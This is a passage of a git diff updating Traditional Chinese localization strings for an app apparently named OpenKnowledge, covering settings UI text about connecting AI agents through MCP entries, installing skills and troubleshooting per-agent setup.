中指向它的內容將失效,直到重新建立為止。"],- "psfGPX": ["MCP 連接"],"psl2Sj": ["你的變更還在儲存中——請等一下再執行一次測試。"],"ptQ3_N": ["取消連結"],"pvnfJD": ["深色"],@@ -3770,6 +3889,7 @@"q4YJl_": ["終端機工作階段已結束(結束代碼 ", ["0"], ")。"],"q4efaG": [["filePath"], " 已不在此技能中"],"q6-JVU": ["正在載入頁面"],+ "q63KUv": ["新增 MCP 和技能"],"q7F5am": ["標題"],"q8aCbb": ["「", ["0"], "」有兩個版本——來源與 ", ["editor"]],"qAQVSD": ["頁面標題回應不是 JSON"],@@ -3819,10 +3939,12 @@"qlAIQ1": ["遠端"],"qo4zCg": ["路徑不能包含反斜線"],"qpQwGC": ["描述一下你正在做的事,代理就會幫你設定好。"],+ "qr2gAH": ["選擇 OpenKnowledge 為 ", ["0"], " 設定的內容。"],"qribBG": ["結構描述 ", ["deleteTarget"]],"qtnmEX": ["輸入有效的主題名稱。"],"qvWGzP": ["全部摺疊"],"qyLmWw": ["原始碼編輯器搜尋面板"],+ "qze9od": ["此資料夾同時也屬於 ", ["alsoAffects"], "。"],"r-OJYm": ["請輸入有效的分支名稱(不能有空格、不能以點開頭、不能包含「..」)。"],"r2eKE3": ["請先登入 ", ["agentName"]],"r4R7AZ": ["清理過程中發生網路錯誤"],@@ -3906,6 +4028,7 @@"s1c0ja": ["項目符號清單"],"s3caR3": ["正在刪除"],"s7us1p": ["只允許 PNG、JPEG 或 WebP 圖片。"],+ "s8difl": ["沒有該技能,智慧代理仍可運作,但會失去編輯歸屬與即時預覽。"],"sAP9XO": [["0"], " 外掛 · ", ["1"]],"sE7R19": ["無法載入範本:", ["templatesError"], "。你仍然可以建立空白筆記。"],"sER-bs": ["檔案"],@@ -3987,6 +4110,7 @@"tA0b9E": ["預設的技能資料夾(儲存後會顯示確切路徑)"],"tA2-xC": ["「", ["0"], "」先前已新增過(內容相同)。"],"tAPZEx": ["下方"],+ "tCE-ZH": ["OpenKnowledge 無法辨識此項目,且無法在此檔案格式中安全取代。"],"tCyvAw": ["附加檔案"],"tHKQ6j": ["正在重新命名"],"tKlWWY": ["表情符號"],@@ -4021,6 +4145,51 @@"tnG-m6": ["自動同步已暫停——請登入以繼續。"],"toyw51": ["Mermaid 圖表控制項"],"tqQBwN": ["任何指令碼都只會顯示出來供你檢查,絕不會執行。"],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " 會在每個 OpenKnowledge 工具第一次使用時請你核准。"+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "如果 ",+ ["agent"],+ " 沒有顯示 OpenKnowledge 工具,請在這個專案中執行它,並核准 OpenKnowledge 伺服器一次。"+ ],+ "troubleshooting.codex.desktop-project-config": [+ ["agent"],+ " 桌面應用程式會忽略這個專案設定;只有 ",+ ["agent"],+ " 命令列會讀取它。"+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " 讀取 OpenKnowledge 為 ",+ ["sourceAgent"],+ " 寫入的工作區 MCP 設定;為其中一方移除就等於為雙方移除。"+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "如果 ",+ ["agent"],+ " 沒有顯示 OpenKnowledge 工具,請到 Settings → Tools & MCP 開啟該伺服器;在你開啟之前,",+ ["agent"],+ " 會讓專案伺服器保持關閉。"+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "如果 ",+ ["agent"],+ " 沒有顯示 OpenKnowledge 工具,請檢查它設定中的 MCP 設定路徑是否與 OpenKnowledge 寫入的檔案一致。"+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ " 的中央技能庫還不存在;先啟動一次 ",+ ["agent"],+ " 讓它建立,然後再試。"+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " 只會在你信任過的資料夾中載入專案擴充功能;如果工具沒有出現,請在 ",+ ["agent"],+ " 中信任這個資料夾。"+ ],"tsiTqO": ["貼上你的 API 金鑰"],"tvMvze": ["無法將「", ["targetName"], "」移到", ["trashNoun"], "。是否要改為永久刪除?"],"txUHO8": ["第 ", ["displayLine"], " 行:", ["localizedMessage"]],@@ -4067,6 +4236,7 @@"uUCrBv": ["符號連結"],"uV3EYs": ["你的圖片"],"uVbUP8": ["設定…"],+ "uVhq9B": ["為此智慧代理安裝 OpenKnowledge 探索技能。"],"uX85yl": ["設定檔案包括:<0>.ok/</0>、AI 工具的 MCP 設定(<1>.mcp.json</1> 以及各工具自己的檔案)。你的技能不在其中:它們和專案裡的其他檔案一樣受 git 管理。<2/><3>已分享</3>會把它們提交到 git,所以複製這個儲存庫的人都會得到相同的設定。<4/><5>僅自己</5>會把它們排除在 git 之外(透過 <6>.git/info/exclude</6>)。"],@@ -4156,6 +4326,7 @@"vvWZnu": ["無法顯示差異"],"vwV-kH": ["修復檔案的過程意外中止。"],"vy_VIN": ["由 git 追蹤——更新是透過你的儲存庫(pull 或 CI)流入,不是自動更新"],+ "vyjTYE": [["changeCount", "plural", { "one": ["#", " 項變更"], "other": ["#", " 項變更"] }]],"w0YVAE": ["顯示技能節點"],"w3tVpc": ["還沒有連結。加上維基連結或 markdown 連結來建立關係圖。"],"w3vFfL": ["隱藏「檔案」"],@@ -4187,6 +4358,7 @@"wQp1V3": ["<0>", ["src"], "</0> 的鏡像"],"wQvvZY": ["新增技能檔案"],"wRni1Z": ["停用 Slidev"],+ "wSBXaS": ["管理 ", ["rowLabel"]],"wT4iQr": ["開啟視覺化編輯器的尋找,並展開取代控制項。"],"wTcjov": ["沒有工作區"],"wU8WyK": ["元素欄位"],@@ -4208,7 +4380,9 @@"wdxz7K": ["原始碼"],"wdzBgi": ["設定分享現在是「僅自己」。"],"weP6me": ["無法載入文件——再輸入一次 @ 重試"],+ "wfZwqe": ["安裝 ", ["rowLabel"]],"wgNoIs": ["全選"],+ "wgj--j": ["為此智慧代理新增全域 OpenKnowledge MCP 項目。"],"wk_v1X": ["這個 worktree 的同步已設為「自動(拉取與推送)」,繼承自 ",["project"],@@ -4333,7 +4507,6 @@"yZmvQ4": ["這個專案的伺服器(v", ["0"], ")比這個應用程式(v", ["1"], ")新。"],"y_5CE8": ["項目 ", ["0"]],"y_K0Dz": ["發生了什麼事?"],- "yaPGPa": ["請開啟一個專案,才能管理它和 AI 工具的連接。"],"ybPMz3": ["無法置頂 ", ["name"]],"ycIX5i": ["你已登出——請登入以繼續同步。"],"yckias": ["重新命名檔案"],@@ -4350,9 +4523,6 @@["source"],"</0>,在此執行的智慧體無法載入它。請將其複製進來以便編輯。"],- "yhdqox": [- "已安裝——ok 可以在外部終端機中使用。取消勾選會把它移除;OpenKnowledge 的內建終端機和 AI 工具照常可用。"- ],"yhy5h-": ["查看全部 ", ["count"], " 個技能"],"yit5dF": ["此專案中還沒有資料夾。"],"yjExfe": ["分支 <0>", ["shareBranch"], "</0> 已在以下位置簽出:"],@@ -4365,7 +4535,6 @@"yvG-l1": ["開啟原始碼檢查面板"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["停止修正。已經修正好的檔案會維持原狀。"],- "ywVfOE": ["這個專案的技能已移至技能工作室。"],"yxF19Y": [["0", "plural", { "other": ["#", " 個外掛"] }]],"yz7wBu": ["關閉"],"yzF66j": ["連結"],diff --git a/packages/app/src/locales/zh-Hant/messages.po b/packages/app/src/locales/zh-Hant/messages.poindex e5bbe1aab..b7a825258 100644--- a/packages/app/src/locales/zh-Hant/messages.po+++ b/packages/app/src/locales/zh-Hant/messages.po@@ -330,6 +330,12 @@ msgstr "{0} 允許 {1} 不必先詢問就執行"msgid "{0} needs {1}"msgstr "{0} 需要 {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} 需要 {1}。請同時關閉兩者,或同時保持開啟。"+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0} 年前"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel}(衝突)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} 會在每個 OpenKnowledge 工具第一次使用時請你核准。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "每次 OpenKnowledge 啟動 {agent} 時都會把 OpenKnowledge 的工具交給它;不會寫入任何內容到它的設定。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} 只會在你信任過的資料夾中載入專案擴充功能;如果工具沒有出現,請在 {agent} 中信任這個資料夾。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} 讀取 OpenKnowledge 為 {sourceAgent} 寫入的工作區 MCP 設定;為其中一方移除就等於為雙方移除。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "{agent} 的中央技能庫還不存在;先啟動一次 {agent} 讓它建立,然後再試。"+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} 無法開始對話。"@@ -520,6 +551,10 @@ msgstr "{boldName} 屬於 <0>{0}</0> 外掛{pluginVersion},為唯讀。{boldHamsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} 位於本專案之外的 <0>{source}</0>,在此執行的智慧體無法載入它。請將其複製進來以便編輯。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# 項變更} other {# 項變更}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, other {字元}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, other {# 天前}}"msgid "{days}d ago"msgstr "{days} 天前"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} 需要 {prerequisite},而 OpenKnowledge 無法在此檔案格式中安全地取代該項目。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} 需要 {prerequisite},但 OpenKnowledge 在此裝置上找不到此智慧代理。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} 需要 {prerequisite},而 OpenKnowledge 無法辨識該項目。勾選 {prerequisite} 以取代它,然後重新儲存。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} 需要 {prerequisite},而此智慧代理在此裝置上尚無這類檔案。請先開啟該智慧代理,然後再試一次。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} 需要 {prerequisite},而 OpenKnowledge 無法為您設定它。其設定指南中有手動步驟。"+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — 顯示出錯,可在下方編輯原始碼"@@ -650,7 +705,7 @@ msgstr "{displayName}({bin})未安裝,也不在你的 PATH 中。"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "{displayName} CLI"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "{displayName} CLI,{hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}> 不是已知的元件。複製原始碼以便在別處msgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> 顯示失敗(很可能是屬性有誤)。複製原始碼看看哪裡出了問題,或刪除這個區塊。"-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "無論如何 <0>~/.ok/bin</0> 和 <1>~/.ok/env.sh</1> 都會保留——應用程式一律會維護它們。"-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>鏡像——請挑一個來源。</0>在屬性面板中設定 <1>src</1> + <2>anchor</2>,指向別處的 <3><MirrorSource></3>。"@@ -1493,6 +1544,14 @@ msgstr "為 {keyName} 新增項目"msgid "Add link"msgstr "新增連結"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "新增 MCP 和技能"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "為 {rowLabel} 新增 MCP 和技能"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "為搜尋加入以語意為基礎的排序,這樣即使沒有共同關鍵字,概念相關的頁面也能被找出來。"@@ -1531,10 +1590,9 @@ msgstr "新增分頁"msgid "Add tag"msgstr "新增標籤"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "把 <0>ok</0> 指令加到你的終端機"@@ -1568,16 +1626,15 @@ msgstr "把你的註解寫在這則訊息裡"msgid "Added"msgstr "已新增"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "為此智慧代理新增全域 OpenKnowledge MCP 項目。"+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "加入一個受管理的區塊到"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "加入一個受管理的區塊到 {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "向 <0>{toolList}</0> 新增 OpenKnowledge 的 MCP 項目與專案技能msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "向 <0>{connectToolList}</0> 新增 OpenKnowledge 的 MCP 項目,讓你的智慧代理可以讀取並編輯你的檔案。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "將 OpenKnowledge MCP 項目新增至此專案的智慧代理設定。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "將 OpenKnowledge 加入 {agent} 自己的 MCP 設定,這台機器上的每個專案都能存取。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "將 OpenKnowledge 加入 {agent} 在這個專案中讀取的 MCP 設定,讓它可以讀取、搜尋和編輯這些文件。"+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "在可取得時附上遙測資料、伺服器狀態和執行階段資訊。憑證一律會移除;如果包含文件名稱,它們會以明文出現(不做遮蔽)。"@@ -1640,6 +1711,11 @@ msgstr "智慧代理對話"msgid "Agent configuration file"msgstr "代理設定檔"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "智慧代理連線"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "代理模式"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "代理記錄"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "代理"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "AI 工具管理只在 OpenKnowledge 桌面應用程式中提供。"--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "AI 工具"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "AI 工具與 CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "置中對齊"@@ -2397,14 +2464,6 @@ msgstr "標註框用於突顯關鍵資訊。"msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "專案不能巢狀。<0>{rootPath}</0> 已經有一個 OpenKnowledge 專案了。請選它以外的位置,或者直接開啟那個專案。"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "無法安全地編輯這個專案的設定"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "無法安全地編輯這個工具的設定"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "無法分享這個路徑。"@@ -2433,6 +2492,7 @@ msgstr "無法分享這個路徑。"#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "選擇圖示"msgid "Choose what a new tab starts"msgstr "選擇新分頁啟動的內容"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "選擇 OpenKnowledge 為 {0} 設定的內容。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "選擇 OpenKnowledge 設定的內容。"+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "選擇要把這些註解送到哪裡"@@ -2671,9 +2740,9 @@ msgstr "選擇要將這則訊息傳送到哪裡"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "選擇這個專案的 OpenKnowledge 設定(包括它和 AI 工具的連接)要隨專案一起保存、讓隊友也能拿到,還是只留在你的電腦上。"-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "選擇哪些智慧代理顯示在應用程式的代理選單中,例如 Ask AI、Open with AI 和 + 新對話按鈕。關閉某個智慧代理即可在所有選單中隱藏它。"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "選擇哪些智慧代理顯示在應用程式的代理選單中,並進行設定,讓它們能夠讀取和更新你的文件。"#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "設定警告"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "請先連接 GitHub 再繼續。"msgid "Connect OpenKnowledge to other tools you use."msgstr "把 OpenKnowledge 和你用的其他工具連接起來。"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "把你用的 AI 工具連接到這個特定專案。這些檔案放在專案資料夾裡,所以開啟它的人都會得到同樣的設定。"-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "連接你的 AI 工具"msgid "Connect your AI tools to this project"msgstr "將你的 AI 工具連接到這個專案"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "已連接"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "連線出錯——請再試一次"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "連線中斷——請讓這個分頁保持開啟,重新連上後你的編輯就會同步"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "下次你在受信任的 Codex 工作階段中開啟這個專案時會自動連接。"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "下次你在受信任的 {agent} 工作階段中開啟這個專案時會自動連接。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "將智慧代理連線至這台機器上所有專案中的 OpenKnowledge。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "將智慧代理連線至此專案,使其可以讀取、搜尋和編輯你的文件。"#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "無法加上那則註解。"#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "無法套用這項變更:{0}"@@ -3673,6 +3748,10 @@ msgstr "無法套用這項變更:{0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "無法確認 {filePath} 是否仍有衝突 — 正在重試。"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "無法檢查哪些工具已連接。"+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "無法清除金鑰——請再試一次。"@@ -3948,7 +4027,7 @@ msgstr "無法連上協作伺服器——{errorDetail}。可以試試 <0>ok statmsgid "Couldn't reach GitHub. Try again?"msgstr "無法連上 GitHub。要再試一次嗎?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "無法連上代理登錄檔。"@@ -4401,11 +4480,6 @@ msgstr "自訂端點"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "帶即時預覽窗格的自訂 HTML(沙箱 iframe)。"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "自訂的 open-knowledge 項目——不由 OpenKnowledge 管理"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "自訂技能資料夾路徑"@@ -4776,6 +4850,10 @@ msgstr "中斷連接"msgid "Disconnecting"msgstr "正在中斷連接"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "探索技能由所有 AI 工具統一管理。請從「設定」→「技能工作室」安裝此技能。"+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "起始內容為空"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "啟用 {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "啟用 {displayName} CLI"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "啟用 {displayName} Desktop"@@ -5416,11 +5494,6 @@ msgstr "輸入有效的 URL,例如 https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "輸入你的通道所提供服務的公開來源,例如 https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "項目"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "錯誤"@@ -5563,7 +5636,7 @@ msgstr "公開會鎖定一個固定連接埠,讓通道的目標在重新啟動#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "外部應用程式"@@ -5947,8 +6020,6 @@ msgstr "欄位"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub、一個 git URL,或一個本機路徑。"msgid "Give it a name before editing its colors."msgstr "請先為主題命名,再編輯色彩。"-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "讓你用的 AI 工具能夠讀取和更新你的專案。勾選就會立刻設定好;取消勾選則會移除。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "為智慧代理提供處理你文件的說明,並保留其編輯的歸屬記錄。"#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "這個結構描述適用的 glob 模式"msgid "Global"msgstr "全域"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "全域 MCP 伺服器"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "文字欄位之外的全域範圍"@@ -6509,6 +6584,7 @@ msgstr "說明"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "協助你的智慧代理在任何專案中探索並使用 OpenKnowledge。"@@ -6718,15 +6794,13 @@ msgstr "這台電腦從你的遠端儲存庫拉取變更的頻率。"msgid "How to push manually"msgstr "如何手動推送"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "如何設定"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "如何設定 {0}(在瀏覽器中開啟)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "如何設定 {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "ID:{0}"msgid "Identical in both — {pick} still reads them."msgstr "兩邊完全相同,{pick} 仍會讀到它們。"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "如果 {agent} 沒有顯示 OpenKnowledge 工具,請檢查它設定中的 MCP 設定路徑是否與 OpenKnowledge 寫入的檔案一致。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "如果 {agent} 沒有顯示 OpenKnowledge 工具,請在這個專案中執行它,並核准 OpenKnowledge 伺服器一次。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "如果 {agent} 沒有顯示 OpenKnowledge 工具,請到 Settings → Tools & MCP 開啟該伺服器;在你開啟之前,{agent} 會讓專案伺服器保持關閉。"+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "如果你正在編輯的東西收到更新,你可以像處理合併衝突那樣選擇要保留哪個版本。"@@ -6888,7 +6977,7 @@ msgstr "在索引文件中:條目位於節標題下,每個條目都帶有連#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: 